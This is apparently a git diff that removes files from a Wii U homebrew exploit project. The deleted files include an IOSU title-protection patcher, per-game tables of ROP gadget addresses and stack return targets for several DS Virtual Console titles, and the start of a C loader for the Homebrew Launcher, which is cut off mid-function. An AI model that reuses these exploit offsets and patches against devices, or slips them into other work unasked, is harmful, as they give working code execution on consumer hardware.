cmp r0, r2 - beq match -nomatch: - @orignal code - movs r0, #0x9F - movs r3, #0x9F - bx lr -match: - @return delete error - movs r0, #0 - ldr r3, =#(0x05108236+1) - bx r3 diff --git a/dsrom/iosu_patcher/titleprot2/Makefile b/dsrom/iosu_patcher/titleprot2/Makefile deleted file mode 100644 index 78d3ea0..0000000 --- a/dsrom/iosu_patcher/titleprot2/Makefile +++ /dev/null @@ -1,76 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=c99 -mcpu=arm926ej-s -Os -s -mthumb -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.*) -OFILES = $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -OFILES += $(BINFILES:data/%=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) - -build/%.tga.o: data/%.tga - @echo $(notdir $<) - @$(bin2o) diff --git a/dsrom/iosu_patcher/titleprot2/ccd00.ld b/dsrom/iosu_patcher/titleprot2/ccd00.ld deleted file mode 100644 index 3fca35e..0000000 --- a/dsrom/iosu_patcher/titleprot2/ccd00.ld +++ /dev/null @@ -1,16 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x0510D9AC, LENGTH = 0x0000110 -} - -SECTIONS -{ - .text : { - build/crt0.o(.init) - *(.text) - *(.rodata) - } -} - diff --git a/dsrom/iosu_patcher/titleprot2/ccd00.specs b/dsrom/iosu_patcher/titleprot2/ccd00.specs deleted file mode 100644 index ccff243..0000000 --- a/dsrom/iosu_patcher/titleprot2/ccd00.specs +++ /dev/null @@ -1,4 +0,0 @@ -%rename link old_link - -*link: -%(old_link) -T ./ccd00.ld%s diff --git a/dsrom/iosu_patcher/titleprot2/source/crt0.s b/dsrom/iosu_patcher/titleprot2/source/crt0.s deleted file mode 100644 index 953d345..0000000 --- a/dsrom/iosu_patcher/titleprot2/source/crt0.s +++ /dev/null @@ -1,24 +0,0 @@ -.section ".init" -.thumb -.syntax unified - -.globl _start - -_start: - ldr r0, [r4,#0x10] - ldr r1, =#0x00050000 - cmp r0, r1 - bne exit_ok - ldr r0, [r4,#0x14] - ldr r1, =#0x00000000 @will be written in by CBHC - cmp r0, r1 - bne exit_ok - @return our error message - ldr r0, =#0x99999999 - ldr r3, =#(0x050146A4+1) - bx r3 -exit_ok: - @original code - lsrs r2, r3, #0x10 - lsls r3, r2, #0x10 - bx lr diff --git a/dsrom/iosu_patcher/types.h b/dsrom/iosu_patcher/types.h deleted file mode 100644 index 828591e..0000000 --- a/dsrom/iosu_patcher/types.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#endif /* TYPES_H */ diff --git a/dsrom/kirby_defs.s b/dsrom/kirby_defs.s deleted file mode 100644 index b81d90d..0000000 --- a/dsrom/kirby_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x10796964-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8C938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x1643F200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02207084) -BCTRL equ (RPX_OFFSET + 0x02206FBC) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3610) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A323C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020ACA38) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179168) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277B44) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018908) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AEA50) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4A8) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082DC0) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205788C) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018990) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x021492A4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x022219E8) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E04) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x02221894) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB1C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220D4C) -_START_EXIT equ (RPX_OFFSET + 0x0202693C) diff --git a/dsrom/kirbymassattack_defs.s b/dsrom/kirbymassattack_defs.s deleted file mode 100644 index 8fb407d..0000000 --- a/dsrom/kirbymassattack_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079A3E4-0xC0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C90938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16444500) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0204AE04) -BCTRL equ (RPX_OFFSET + 0x02003D2C) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020AA490) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020AA068) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001A8C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0217FFE8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x0227F898) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020187E4) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B58D0) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F358) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020883B0) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205C700) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x0201886C) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02150124) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020241C8) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x022296A0) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02229ABC) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0222954C) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006B60) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FC30) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02229190) -_START_EXIT equ (RPX_OFFSET + 0x020262EC) diff --git a/dsrom/mariokartds_defs.s b/dsrom/mariokartds_defs.s deleted file mode 100644 index c1d57f8..0000000 --- a/dsrom/mariokartds_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1077870C-0xB0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10A77038) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16229400) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x022031F8) -BCTRL equ (RPX_OFFSET + 0x02203130) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A04C8) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A00A0) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02005AB8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02175AE8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x022740A8) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02017F88) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AB88C) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200EB28) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020809E4) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02054DCC) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018010) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02145D64) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02023700) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0221E0B8) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0221E4D4) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0221DF64) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006944) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201F138) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0221D434) -_START_EXIT equ (RPX_OFFSET + 0x02025F48) diff --git a/dsrom/masterofdisguise_defs.s b/dsrom/masterofdisguise_defs.s deleted file mode 100644 index 34abd19..0000000 --- a/dsrom/masterofdisguise_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B924-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16444200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x020645EC) -BCTRL equ (RPX_OFFSET + 0x02004158) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3F34) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A3B0C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0200106C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179A8C) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02278460) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018908) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AF374) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4A8) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020836A8) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02057944) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018990) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02149BC8) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02222304) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02222720) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022221B0) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB1C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02221670) -_START_EXIT equ (RPX_OFFSET + 0x0202699C) diff --git a/dsrom/newsmb_eur_defs.s b/dsrom/newsmb_eur_defs.s deleted file mode 100644 index b666891..0000000 --- a/dsrom/newsmb_eur_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1077860C-0xB0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10A77038) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16229800) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x022031F8) -BCTRL equ (RPX_OFFSET + 0x02203130) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A04C8) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A00A0) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02005AB8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02175AE8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x022740A8) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02017F88) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AB88C) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200EB28) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020809E4) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02054DCC) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018010) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02145D64) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02023700) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0221E0B8) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0221E4D4) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0221DF64) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006944) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201F138) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0221D434) -_START_EXIT equ (RPX_OFFSET + 0x02025F48) diff --git a/dsrom/option_select/Makefile b/dsrom/option_select/Makefile deleted file mode 100644 index ae0c1e8..0000000 --- a/dsrom/option_select/Makefile +++ /dev/null @@ -1,32 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -OBJCOPY = $(PREFIX)objcopy -LDFLAGS=-Ttext 1808000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -FIRMWARE = 550 - -all: clean setup main - -setup: - mkdir -p $(root)/bin/ - -main: - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -o option_select.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map option_select.map - $(OBJCOPY) option_select.elf -S -O binary ../option_select.bin - -clean: - rm -rf $(build) - rm -rf option_select.elf option_select.map diff --git a/dsrom/option_select/coreinit.h b/dsrom/option_select/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/option_select/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/option_select/crt0.S b/dsrom/option_select/crt0.S deleted file mode 100644 index 2ff35ce..0000000 --- a/dsrom/option_select/crt0.S +++ /dev/null @@ -1,9 +0,0 @@ - - .extern __main - .globl _start - -_start: - # jump to our main - bl __main - mtlr r3 - blr diff --git a/dsrom/option_select/main.c b/dsrom/option_select/main.c deleted file mode 100644 index 9921c31..0000000 --- a/dsrom/option_select/main.c +++ /dev/null @@ -1,294 +0,0 @@ -/* - * Copyright (C) 2016 FIX94 - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ -#include -#include "types.h" -#include "coreinit.h" -#include "../global.h" - -typedef struct -{ - float x,y; -} Vec2D; - -typedef struct -{ - uint16_t x, y; /* Touch coordinates */ - uint16_t touched; /* 1 = Touched, 0 = Not touched */ - uint16_t invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ -} VPADTPData; - -typedef struct -{ - uint32_t btns_h; /* Held buttons */ - uint32_t btns_d; /* Buttons that are pressed at that instant */ - uint32_t btns_r; /* Released buttons */ - Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ - char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ - VPADTPData tpdata; /* Normal touchscreen data */ - VPADTPData tpdata1; /* Modified touchscreen data 1 */ - VPADTPData tpdata2; /* Modified touchscreen data 2 */ - char unknown6a[0xa0 - 0x6a]; - uint8_t volume; - uint8_t battery; /* 0 to 6 */ - uint8_t unk_volume; /* One less than volume */ - char unknowna4[0xac - 0xa4]; -} VPADData; - -#define BUTTON_A 0x8000 -#define BUTTON_B 0x4000 -#define BUTTON_X 0x2000 -#define BUTTON_Y 0x1000 -#define BUTTON_LEFT 0x0800 -#define BUTTON_RIGHT 0x0400 -#define BUTTON_UP 0x0200 -#define BUTTON_DOWN 0x0100 -#define BUTTON_ZL 0x0080 -#define BUTTON_ZR 0x0040 -#define BUTTON_L 0x0020 -#define BUTTON_R 0x0010 -#define BUTTON_PLUS 0x0008 -#define BUTTON_MINUS 0x0004 -#define BUTTON_HOME 0x0002 -#define BUTTON_SYNC 0x0001 - -typedef struct -{ - int val; - char txt[12]; -} config_select; - -static const config_select sel[17] = { - {BUTTON_A,"a="}, - {BUTTON_B,"b="}, - {BUTTON_X,"x="}, - {BUTTON_Y,"y="}, - {BUTTON_LEFT,"left="}, - {BUTTON_RIGHT,"right="}, - {BUTTON_UP,"up="}, - {BUTTON_DOWN,"down="}, - {BUTTON_ZL,"zl="}, - {BUTTON_ZR,"zr="}, - {BUTTON_L,"l="}, - {BUTTON_R,"r="}, - {BUTTON_PLUS,"plus="}, - {BUTTON_MINUS,"minus="}, - {BUTTON_HOME,"home="}, - {BUTTON_SYNC,"sync="}, - {0,"default="}, -}; - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -#define MIN(a, b) (((a)>(b))?(b):(a)) - -uint32_t __main(void) -{ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - unsigned int *pMEMAllocFromDefaultHeapEx; - unsigned int *pMEMAllocFromDefaultHeap; - unsigned int *pMEMFreeToDefaultHeap; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); - void*(*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx); - void*(*MEMAllocFromDefaultHeap)(int size) = (void*)(*pMEMAllocFromDefaultHeap); - void(*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap); - - int launchmode = LAUNCH_HBL; - //default path goes to HBL - strcpy((void*)0xF5E70000,"/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf"); - - int iFd 